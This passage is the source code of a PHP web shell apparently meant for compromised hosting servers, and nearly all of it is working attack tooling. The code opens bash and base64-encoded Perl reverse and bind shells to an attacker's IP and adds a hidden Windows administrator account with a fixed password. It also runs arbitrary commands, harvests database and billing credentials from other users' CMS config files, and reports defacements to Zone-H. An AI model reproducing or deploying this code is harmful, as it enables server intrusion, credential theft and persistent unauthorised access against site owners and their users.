994 chmod('wps-cgi/cgitelnet2.wps', 0755);
995 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/wps-cgi/cgitelnet2.wps' frameborder='0' scrolling='yes'></iframe>";
996 }
997 else {
998 print color(1, 1, "Error while downloading file CGI Telnet.");
999 @rmdir(path()."/wps-cgi/");
1000 if(!@rmdir(path()."/wps-cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/wps-cgi/");
1001 if(!@rmdir(path()."/wps-cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/wps-cgi/");
1002 }
1003 }
1004
1005 }
1006 elseif($args === "phpinfo") {
1007 if(file_exists('phpinfo.php') AND preg_match("/phpinfo()/", file_get_contents('phpinfo.php'))) {
1008 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
1009 }
1010 else {
1011 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'phpinfo'."));
1012 save("phpinfo.php", "w", "<?php print '<html><style>html,body {background: #000000;}</style><div style=\'background: #000000; color: #cccccc;\'>'; phpinfo(); print '</div></html>'; ?>");
1013 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
1014 }
1015 }
1016 }
1017 elseif($toolsname === "jumping") {
1018 $i = 0;
1019 foreach(getuser() as $user) {
1020 $path = "/home/$user/public_html";
1021 if(is_readable($path)) {
1022 $status = color(1, 2, "[R]");
1023 if(is_writable($path)) {
1024 $status = color(1, 2, "[RW]");
1025 }
1026 $i++;
1027 print "$status <a href='?dir=$path'>".color(1, 4, $path)."</a>";
1028 if(!function_exists('posix_getpwuid')) print "<br>";
1029 if(!getdomainname()) print " => ".color(1, 1, "Can't get domain name")."<br>";
1030 foreach(getdomainname() as $domain) {
1031 $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain"));
1032 $userdomain = $userdomain->name;
1033 if($userdomain === $user) {
1034 print " => <a href='http://$domain/' target='_blank'>".color(1, 2, $domain)."</a><br>";
1035 break;
1036 }
1037 }
1038 }
1039 }
1040 print ($i === 0) ? "" : "<p>".color(1, 3, "Total ada $i kamar di ".$GLOBALS['SERVERIP'])."</p>";
1041 }
1042 elseif($toolsname === "network") {
1043 $args = explode(" ", $args);
1044
1045 if($args[0] === "bc") {
1046 if(empty($args[1])) die(color(1, 1, "Set Your IP for BackConnect!"));
1047 if(empty($args[2])) die(color(1, 1, "Set Your PORT for BackConnect!"));
1048 if(empty($args[3])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
1049
1050 if($args[3] === "bash") {
1051 exe("/bin/bash -i >& /dev/tcp/".$args[1]."/".$args[2]." 0>&1");
1052 }
1053 elseif($args[3] === "perl") {
1054 $bc['code'] = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1055 save("/tmp/bc.pl", "w", base64_decode($bc['code']));
1056 $bc['exec'] = exe("perl /tmp/bc.pl ".$args[1]." ".$args[2]." 1>/dev/null 2>&1 &");
1057 sleep(1);
1058 print "<pre>".$bc['exec']."\n".exe("ps aux | grep bc.pl")."</pre>";
1059 @unlink("/tmp/bc.pl");
1060 }
1061 }
1062 elseif($args[0] === "bp") {
1063 if(empty($args[1])) die(color(1, 1, "Set Your PORT for Bind Port!"));
1064 if(empty($args[2])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
1065
1066 if($args[2] === "perl") {
1067 $bp['code'] = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1068 save("/tmp/bp.pl", "w", base64_decode($bp['code']));
1069 $bp['exec'] = exe("perl /tmp/bp.pl ".$args[1]." 1>/dev/null 2>&1 &");
1070 sleep(1);
1071 print "<pre>".$bp['exec']."\n".exe("ps aux | grep bp.pl")."</pre>";
1072 @unlink("/tmp/bp.pl");
1073 }
1074 }
1075 else {
1076 print color(1, 1, "Unknown '".$args[0]."'");
1077 }
1078 }
1079 elseif($toolsname === "krdp") {
1080 $args = explode(" ", $args);
1081
1082 if(OS() !== "Windows") die(color(1, 1, "Just For Windows Server"));
1083 if(preg_match("/GHZ7/", exe("net user"))) die(color(1, 1, "[INFO] username 'GHz7' already exists."));
1084
1085 $add_user = exe("net user GHz7 GHz7 /add");
1086 $add_groups1 = exe("net localgroup Administrators GHz7 /add");
1087 $add_groups2 = exe("net localgroup Administrator GHz7 /add");
1088 $add_groups3 = exe("net localgroup Administrateur GHz7 /add");
1089
1090 print "[ RDP ACCOUNT INFO ]<br>
1091 ------------------------------<br>
1092 IP: ".color(1, 2, $GLOBALS['SERVERIP'])."<br>
1093 Username: ".color(1, 2, "GHz7")."<br>
1094 Password: ".color(1, 2, "GHz7")."<br>
1095 ------------------------------<br><br>
1096 [ STATUS ]<br>
1097 ------------------------------<br>
1098 ";
1099
1100 if($add_user) {
1101 print "[add user] -> ".color(1, 2, "SUCCESS")."<br>";
1102 }
1103 else {
1104 print "[add user] -> ".color(1, 1, "FAILED")."<br>";
1105 }
1106
1107 if($add_groups1) {
1108 print "[add localgroup Administrators] -> ".color(1, 2, "SUCCESS")."<br>";
1109 }
1110 elseif($add_groups2) {
1111 print "[add localgroup Administrator] -> ".color(1, 2, "SUCCESS")."<br>";
1112 }
1113 elseif($add_groups3) {
1114 print "[add localgroup Administrateur] -> ".color(1, 2, "SUCCESS")."<br>";
1115 }
1116 else {
1117 print "[add localgroup] -> ".color(1, 1, "FAILED")."<br>";
1118 }
1119
1120 print "------------------------------<br>";
1121 }
1122}
1123function files_and_folder() {
1124 if(!is_dir(path())) die(color(1, 1, "Directory '".path()."' is not exists."));
1125 if(!is_readable(path())) die(color(1, 1, "Directory '".path()."' not readable."));
1126 print '<table width="100%" class="table_home" id="main" border="0" cellpadding="3" cellspacing="1" align="center" >
1127 <tr>
1128 <th class="th_home"><center>Name</center></th>
1129 <th class="th_home"><center>Type</center></th>
1130 <th class="th_home"><center>Size</center></th>
1131 <th class="th_home"><center>Last Modified</center></th>
1132 <th class="th_home"><center>User / Group</center></th>
1133 <th class="th_home"><center>Permission</center></th>
1134 <th class="th_home"><center>Action</center></th>
1135 </tr>';
1136
1137 if(function_exists('opendir')) {
1138 if($opendir = opendir(path())) {
1139 while(($readdir = readdir($opendir)) !== false) {
1140 $dir[] = $readdir;
1141 }
1142 closedir($opendir);
1143 }
1144 sort($dir);
1145 } else {
1146 $dir = scandir(path());
1147 }
1148
1149 foreach($dir as $folder) {
1150 $dirinfo['path'] = path().DIRECTORY_SEPARATOR.$folder;
1151 if(!is_dir($dirinfo['path'])) continue;
1152 $dirinfo['type'] = filetype($dirinfo['path']);
1153 $dirinfo['time'] = date("F d Y g:i:s", filemtime($dirinfo['path']));
1154 $dirinfo['size'] = "-";
1155 $dirinfo['perms'] = writeable($dirinfo['path'], perms($dirinfo['path']));
1156 $dirinfo['link'] = ($folder === ".." ? "<a href='?dir=".dirname(path())."'>$folder</a>" : ($folder === "." ? "<a href='?dir=".path()."'>$folder</a>" : "<a href='?dir=".$dirinfo['path']."'>$folder</a>"));
1157 $dirinfo['action']= ($folder === '.' || $folder === '..') ? "<a href='?act=newfile&dir=".path()."'>newfile</a> > <a href='?act=newfolder&dir=".path()."'>newfolder</a>":"<a href='?act=rename_folder&dir=".$dirinfo['path']."'>rename</a> > <a href='?act=delete_folder&dir=".$dirinfo['path']."'>delete</a>";
1158 if(function_exists('posix_getpwuid')) {
1159 $dirinfo['owner'] = (object) @posix_getpwuid(fileowner($dirinfo['path']));
1160 $dirinfo['owner'] = $dirinfo['owner']->name;
1161 } else {
1162 $dirinfo['owner'] = fileowner($dirinfo['path']);
1163 }
1164 if(function_exists('posix_getgrgid')) {
1165 $dirinfo['group'] = (object) @posix_getgrgid(filegroup($dirinfo['path']));
1166 $dirinfo['group'] = $dirinfo['group']->name;
1167 } else {
1168 $dirinfo['group'] = filegroup($dirinfo['path']);
1169 }
1170 print "<tr>";
1171 print "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>".$dirinfo['link']."</td>";
1172 print "<td class='td_home' style='text-align: center;'>".$dirinfo['type']."</td>";
1173 print "<td class='td_home' style='text-align: center;'>".$dirinfo['size']."</td>";
1174 print "<td class='td_home' style='text-align: center;'>".$dirinfo['time']."</td>";
1175 print "<td class='td_home' style='text-align: center;'>".$dirinfo['owner'].DIRECTORY_SEPARATOR.$dirinfo['group']."</td>";
1176 print "<td class='td_home' style='text-align: center;'>".$dirinfo['perms']."</td>";
1177 print "<td class='td_home' style='padding-left: 15px;'>".$dirinfo['action']."</td>";
1178 print "</tr>";
1179 }
1180 foreach($dir as $files) {
1181 $fileinfo['path'] = path().DIRECTORY_SEPARATOR.$files;
1182 if(!is_file($fileinfo['path'])) continue;
1183 $fileinfo['type'] = filetype($fileinfo['path']);
1184 $fileinfo['time'] = date("F d Y g:i:s", filemtime($fileinfo['path']));
1185 $fileinfo['size'] = filesize($fileinfo['path'])/1024;
1186 $fileinfo['size'] = round($fileinfo['size'],3);
1187 $fileinfo['size'] = ($fileinfo['size'] > 1024) ? round($fileinfo['size']/1024,2). "MB" : $fileinfo['size']. "KB";
1188 $fileinfo['perms']= writeable($fileinfo['path'], perms($fileinfo['path']));
1189 if(function_exists('posix_getpwuid')) {
1190 $fileinfo['owner'] = (object) @posix_getpwuid(fileowner($fileinfo['path']));
1191 $fileinfo['owner'] = $fileinfo['owner']->name;
1192 } else {
1193 $fileinfo['owner'] = fileowner($fileinfo['path']);
1194 }
1195 if(function_exists('posix_getgrgid')) {
1196 $fileinfo['group'] = (object) @posix_getgrgid(filegroup($fileinfo['path']));
1197 $fileinfo['group'] = $fileinfo['group']->name;
1198 } else {
1199 $fileinfo['group'] = filegroup($fileinfo['path']);
1200 }
1201 print "<tr>";
1202 print "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=".path()."&file=".$fileinfo['path']."'>$files</a></td>";
1203 print "<td class='td_home' style='text-align: center;'>".$fileinfo['type']."</td>";
1204 print "<td class='td_home' style='text-align: center;'>".$fileinfo['size']."</td>";
1205 print "<td class='td_home' style='text-align: center;'>".$fileinfo['time']."</td>";
1206 print "<td class='td_home' style='text-align: center;'>".$fileinfo['owner'].DIRECTORY_SEPARATOR.$fileinfo['group']."</td>";
1207 print "<td class='td_home' style='text-align: center;'>".$fileinfo['perms']."</td>";
1208 print "<td class='td_home' style='padding-left: 15px;'><a href='?act=rename&dir=".path()."&file=".$fileinfo['path']."'>rename</a> > <a href='?act=delete&dir=".path()."&file=".$fileinfo['path']."'>delete</a> > <a href='?act=edit&dir=".path()."&file=".$fileinfo['path']."'>edit</a> > <a href='?act=download&dir=".path()."&file=".$fileinfo['path']."'>unduh</a></td>";
1209 print "</tr>";
1210 }
1211
1212 print "</table>";
1213}
1214
1215
1216function action() {
1217 print '</div><center>';
1218 print "<div class='nocopy'><div id='menu'>";
1219 print "<li><a href='?'><font color='gold'>Home</font></a></li>";
1220 print "<li><a href='?dir=".path()."&do=fakeroot'>Fake Root</a></li>";
1221 print "<li><a href='?dir=".path()."&do=cpanel'>cPanel Crack</a></li>";
1222 print "<li><a href='?dir=".path()."&do=conf1'>Config v1</a></li>";
1223 print "<li><a href='?dir=".path()."&do=mpc'>PassChange</a></li>";
1224 print "<li><a href='?dir=".path()."&do=mass'>MassDeface</a></li><br>";
1225 print "<li><a href='?dir=".path()."&do=lre'>Root Exploiter</a></li>";
1226 print "<li><a href='?dir=".path()."&do=zoneh'>Zone-H</a></li>";
1227 print "<li><a href='?dir=".path()."&do=command'>CMD</a></li>";
1228 print "<li><a href='?dir=".path()."&do=aplod'>UPLOAD</a></li>";
1229 print "<li><a href='?this=phpinfo'>PhPinfo</a></li>";
1230 print "<li><a href='?logout=true'><font color='red'>Logout</font></a></li><p></div></div>";
1231 print "</center><p>";
1232if($_GET['logout'] == true) {
1233 echo "<script>window.location='?';die('Good bye!');</script>";
1234 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1235 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1236} if(isset($_GET['do'])) {
1237 if($_GET['do'] === "cmd") {
1238 if(isset($_POST['cmd'])) {
1239 if(preg_match("/^rf (.*)$/", $_POST['cmd'], $match)) {
1240 tools("readfile", $match[1]);
1241 }
1242 elseif(preg_match("/^spawn (.*)$/", $_POST['cmd'], $match)) {
1243 tools("spawn", $match[1]);
1244 }
1245 elseif(preg_match("/^rvr (.*)$/", $_POST['cmd'], $match)) {
1246 tools("network", $match[1]);
1247 }
1248 elseif(preg_match("/^krdp$/", $_POST['cmd'])) {
1249 tools("krdp");
1250 }
1251 elseif(preg_match("/^jumping$/", $_POST['cmd'])) {
1252 tools("jumping");
1253 }
1254 elseif(preg_match("/^idxconfig$/", $_POST['cmd'])) {
1255 tools("idxconfig");
1256 }
1257 elseif(preg_match("/^logout$/", $_POST['cmd'])) {
1258 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1259 print "<script>window.location='?';</script>";
1260 }
1261 elseif(preg_match("/^killme$/", $_POST['cmd'])) {
1262 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1263 @unlink(__FILE__);
1264 print "<script>window.location='?';</script>";
1265 }
1266 else {
1267 print "<pre>".exe($_POST['cmd'])."</pre>";
1268 }
1269 }
1270 else {
1271 files_and_folder();
1272 }
1273 }
1274 elseif($_GET['do'] === "zoneh") {
1275 if(isset($_POST['submit']) AND $_GET['do'] === "zoneh") {
1276 $nick = $_POST['nick'];
1277 $domain = explode("\r\n", $_POST['url']);
1278
1279 print "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
1280 print "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
1281
1282 foreach($domain as $no => $url) {
1283 $no = ($no+1).".";
1284 $post = curl("http://www.zone-h.org/notify/single", TRUE, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
1285 if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $post)) {
1286 print "$no $url -> ".color(1, 2, "OK")."<br>";
1287 } else {
1288 print "$no $url -> ".color(1, 1, "ERROR")."<br>";
1289 }
1290 }
1291 }
1292 else {
1293 print "<form style='width:465px;' class='form-3' method='post' action='?do=zoneh&dir=".path()."'>
1294 <center><font style='float:right;'>ZONE-H ARCHIVER</font></center><input type='text' name='nick' value='GHz7'>
1295 <textarea style='width: 450px; height: 150px;' name='url' placeholder='http://google.com/'></textarea>
1296 <input style='background:#4d4d4d; color: #ffffff;width: 460px;' type='submit' name='submit' value='Submit'>
1297 </form>";
1298 }
1299 }
1300 elseif($_GET['do'] == 'command'){
1301 print "
1302 <form method='post' style='margin-top: 10px;'>
1303 ".usergroup()->name."@".$GLOBALS['SERVERIP'].": ~>>
1304 <table style='margin:10px auto;'>
1305 <tr>
1306 <input style='border: 2px solid #4d4d4d;' type='text' name='cmd' required>
1307 <input name='do_cmd' style='border: 2px solid #4d4d4d; border-left:hidden;padding:3px;' class='input' type='submit' value='enter'>
1308 </tr></table></td>
1309 </form>";
1310 if($_POST['do_cmd']) {
1311 echo "<pre>".exe($_POST['cmd'])."</pre>";
1312 }
1313 }
1314 elseif($_GET['do'] == 'conf1'){
1315 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'lamerconfig'."));
1316 if(!is_dir(path()."/lamerconfig")) {
1317 @mkdir('lamerconfig', 0755);
1318 $htaccess = "Options all\nDirectoryIndex x.html\nSatisfy Any";
1319 save("lamerconfig/.htaccess","w", $htaccess);
1320
1321 foreach(getuser() as $user) {
1322 $user_docroot = "/home/$user/public_html/";
1323 if(is_readable($user_docroot)) {
1324 $getconfig = array(
1325 "/home/$user/.accesshash" => "WHM-accesshash",
1326 "$user_docroot/config/koneksi.php" => "Lokomedia",
1327 "$user_docroot/forum/config.php" => "phpBB",
1328 "$user_docroot/sites/default/settings.php" => "Drupal",
1329 "$user_docroot/config/settings.inc.php" => "PrestaShop",
1330 "$user_docroot/app/etc/local.xml" => "Magento",
1331 "$user_docroot/admin/config.php" => "OpenCart",
1332 "$user_docroot/application/config/database.php" => "Ellislab",
1333 "$user_docroot/vb/includes/config.php" => "Vbulletin",
1334 "$user_docroot/includes/config.php" => "Vbulletin",
1335 "$user_docroot/forum/includes/config.php" => "Vbulletin",
1336 "$user_docroot/forums/includes/config.php" => "Vbulletin",
1337 "$user_docroot/cc/includes/config.php" => "Vbulletin",
1338 "$user_docroot/inc/config.php" => "MyBB",
1339 "$user_docroot/includes/configure.php" => "OsCommerce",
1340 "$user_docroot/shop/includes/configure.php" => "OsCommerce",
1341 "$user_docroot/os/includes/configure.php" => "OsCommerce",
1342 "$user_docroot/oscom/includes/configure.php" => "OsCommerce",
1343 "$user_docroot/products/includes/configure.php" => "OsCommerce",
1344 "$user_docroot/cart/includes/configure.php" => "OsCommerce",
1345 "$user_docroot/inc/conf_global.php" => "IPB",
1346 "$user_docroot/wp-config.php" => "Wordpress",
1347 "$user_docroot/wp/test/wp-config.php" => "Wordpress",
1348 "$user_docroot/blog/wp-config.php" => "Wordpress",
1349 "$user_docroot/beta/wp-config.php" => "Wordpress",
1350 "$user_docroot/portal/wp-config.php" => "Wordpress",
1351 "$user_docroot/site/wp-config.php" => "Wordpress",
1352 "$user_docroot/wp/wp-config.php" => "Wordpress",
1353 "$user_docroot/WP/wp-config.php" => "Wordpress",
1354 "$user_docroot/news/wp-config.php" => "Wordpress",
1355 "$user_docroot/wordpress/wp-config.php" => "Wordpress",
1356 "$user_docroot/test/wp-config.php" => "Wordpress",
1357 "$user_docroot/demo/wp-config.php" => "Wordpress",
1358 "$user_docroot/home/wp-config.php" => "Wordpress",
1359 "$user_docroot/v1/wp-config.php" => "Wordpress",
1360 "$user_docroot/v2/wp-config.php" => "Wordpress",
1361 "$user_docroot/press/wp-config.php" => "Wordpress",
1362 "$user_docroot/new/wp-config.php" => "Wordpress",
1363 "$user_docroot/blogs/wp-config.php" => "Wordpress",
1364 "$user_docroot/configuration.php" => "Joomla",
1365 "$user_docroot/blog/configuration.php" => "Joomla",
1366 "$user_docroot/submitticket.php" => "^WHMCS",
1367 "$user_docroot/cms/configuration.php" => "Joomla",
1368 "$user_docroot/beta/configuration.php" => "Joomla",
1369 "$user_docroot/portal/configuration.php" => "Joomla",
1370 "$user_docroot/site/configuration.php" => "Joomla",
1371 "$user_docroot/main/configuration.php" => "Joomla",
1372 "$user_docroot/home/configuration.php" => "Joomla",
1373 "$user_docroot/demo/configuration.php" => "Joomla",
1374 "$user_docroot/test/configuration.php" => "Joomla",
1375 "$user_docroot/v1/configuration.php" => "Joomla",
1376 "$user_docroot/v2/configuration.php" => "Joomla",
1377 "$user_docroot/joomla/configuration.php" => "Joomla",
1378 "$user_docroot/new/configuration.php" => "Joomla",
1379 "$user_docroot/WHMCS/submitticket.php" => "WHMCS",
1380 "$user_docroot/whmcs1/submitticket.php" => "WHMCS",
1381 "$user_docroot/Whmcs/submitticket.php" => "WHMCS",
1382 "$user_docroot/whmcs/submitticket.php" => "WHMCS",
1383 "$user_docroot/whmcs/submitticket.php" => "WHMCS",
1384 "$user_docroot/WHMC/submitticket.php" => "WHMCS",
1385 "$user_docroot/Whmc/submitticket.php" => "WHMCS",
1386 "$user_docroot/whmc/submitticket.php" => "WHMCS",
1387 "$user_docroot/WHM/submitticket.php" => "WHMCS",
1388 "$user_docroot/Whm/submitticket.php" => "WHMCS",
1389 "$user_docroot/whm/submitticket.php" => "WHMCS",
1390 "$user_docroot/HOST/submitticket.php" => "WHMCS",
1391 "$user_docroot/Host/submitticket.php" => "WHMCS",
1392 "$user_docroot/host/submitticket.php" => "WHMCS",
1393 "$user_docroot/SUPPORTES/submitticket.php" => "WHMCS",
1394 "$user_docroot/Supportes/submitticket.php" => "WHMCS",
1395 "$user_docroot/supportes/submitticket.php" => "WHMCS",
1396 "$user_docroot/domains/submitticket.php" => "WHMCS",
1397 "$user_docroot/domain/submitticket.php" => "WHMCS",
1398 "$user_docroot/Hosting/submitticket.php" => "WHMCS",
1399 "$user_docroot/HOSTING/submitticket.php" => "WHMCS",
1400 "$user_docroot/hosting/submitticket.php" => "WHMCS",
1401 "$user_docroot/CART/submitticket.php" => "WHMCS",
1402 "$user_docroot/Cart/submitticket.php" => "WHMCS",
1403 "$user_docroot/cart/submitticket.php" => "WHMCS",
1404 "$user_docroot/ORDER/submitticket.php" => "WHMCS",
1405 "$user_docroot/Order/submitticket.php" => "WHMCS",
1406 "$user_docroot/order/submitticket.php" => "WHMCS",
1407 "$user_docroot/CLIENT/submitticket.php" => "WHMCS",
1408 "$user_docroot/Client/submitticket.php" => "WHMCS",
1409 "$user_docroot/client/submitticket.php" => "WHMCS",
1410 "$user_docroot/CLIENTAREA/submitticket.php" => "WHMCS",
1411 "$user_docroot/Clientarea/submitticket.php" => "WHMCS",
1412 "$user_docroot/clientarea/submitticket.php" => "WHMCS",
1413 "$user_docroot/SUPPORT/submitticket.php" => "WHMCS",
1414 "$user_docroot/Support/submitticket.php" => "WHMCS",
1415 "$user_docroot/support/submitticket.php" => "WHMCS",
1416 "$user_docroot/BILLING/submitticket.php" => "WHMCS",
1417 "$user_docroot/Billing/submitticket.php" => "WHMCS",
1418 "$user_docroot/billing/submitticket.php" => "WHMCS",
1419 "$user_docroot/BUY/submitticket.php" => "WHMCS",
1420 "$user_docroot/Buy/submitticket.php" => "WHMCS",
1421 "$user_docroot/buy/submitticket.php" => "WHMCS",
1422 "$user_docroot/MANAGE/submitticket.php" => "WHMCS",
1423 "$user_docroot/Manage/submitticket.php" => "WHMCS",
1424 "$user_docroot/manage/submitticket.php" => "WHMCS",
1425 "$user_docroot/CLIENTSUPPORT/submitticket.php" => "WHMCS",
1426 "$user_docroot/ClientSupport/submitticket.php" => "WHMCS",
1427 "$user_docroot/Clientsupport/submitticket.php" => "WHMCS",
1428 "$user_docroot/clientsupport/submitticket.php" => "WHMCS",
1429 "$user_docroot/CHECKOUT/submitticket.php" => "WHMCS",
1430 "$user_docroot/Checkout/submitticket.php" => "WHMCS",
1431 "$user_docroot/checkout/submitticket.php" => "WHMCS",
1432 "$user_docroot/BILLINGS/submitticket.php" => "WHMCS",
1433 "$user_docroot/Billings/submitticket.php" => "WHMCS",
1434 "$user_docroot/billings/submitticket.php" => "WHMCS",
1435 "$user_docroot/BASKET/submitticket.php" => "WHMCS",
1436 "$user_docroot/Basket/submitticket.php" => "WHMCS",
1437 "$user_docroot/basket/submitticket.php" => "WHMCS",
1438 "$user_docroot/SECURE/submitticket.php" => "WHMCS",
1439 "$user_docroot/Secure/submitticket.php" => "WHMCS",
1440 "$user_docroot/secure/submitticket.php" => "WHMCS",
1441 "$user_docroot/SALES/submitticket.php" => "WHMCS",
1442 "$user_docroot/Sales/submitticket.php" => "WHMCS",
1443 "$user_docroot/sales/submitticket.php" => "WHMCS",
1444 "$user_docroot/BILL/submitticket.php" => "WHMCS",
1445 "$user_docroot/Bill/submitticket.php" => "WHMCS",
1446 "$user_docroot/bill/submitticket.php" => "WHMCS",
1447 "$user_docroot/PURCHASE/submitticket.php" => "WHMCS",
1448 "$user_docroot/Purchase/submitticket.php" => "WHMCS",
1449 "$user_docroot/purchase/submitticket.php" => "WHMCS",
1450 "$user_docroot/ACCOUNT/submitticket.php" => "WHMCS",
1451 "$user_docroot/Account/submitticket.php" => "WHMCS",
1452 "$user_docroot/account/submitticket.php" => "WHMCS",
1453 "$user_docroot/USER/submitticket.php" => "WHMCS",
1454 "$user_docroot/User/submitticket.php" => "WHMCS",
1455 "$user_docroot/user/submitticket.php" => "WHMCS",
1456 "$user_docroot/CLIENTS/submitticket.php" => "WHMCS",
1457 "$user_docroot/Clients/submitticket.php" => "WHMCS",
1458 "$user_docroot/clients/submitticket.php" => "WHMCS",
1459 "$user_docroot/BILLINGS/submitticket.php" => "WHMCS",
1460 "$user_docroot/Billings/submitticket.php" => "WHMCS",
1461 "$user_docroot/billings/submitticket.php" => "WHMCS",
1462 "$user_docroot/MY/submitticket.php" => "WHMCS",
1463 "$user_docroot/My/submitticket.php" => "WHMCS",
1464 "$user_docroot/my/submitticket.php" => "WHMCS",
1465 "$user_docroot/secure/whm/submitticket.php" => "WHMCS",
1466 "$user_docroot/secure/whmcs/submitticket.php" => "WHMCS",
1467 "$user_docroot/panel/submitticket.php" => "WHMCS",
1468 "$user_docroot/clientes/submitticket.php" => "WHMCS",
1469 "$user_docroot/cliente/submitticket.php" => "WHMCS",
1470 "$user_docroot/support/order/submitticket.php" => "WHMCS",
1471 "$user_docroot/bb-config.php" => "BoxBilling",
1472 "$user_docroot/boxbilling/bb-config.php" => "BoxBilling",
1473 "$user_docroot/box/bb-config.php" => "BoxBilling",
1474 "$user_docroot/host/bb-config.php" => "BoxBilling",
1475 "$user_docroot/Host/bb-config.php" => "BoxBilling",
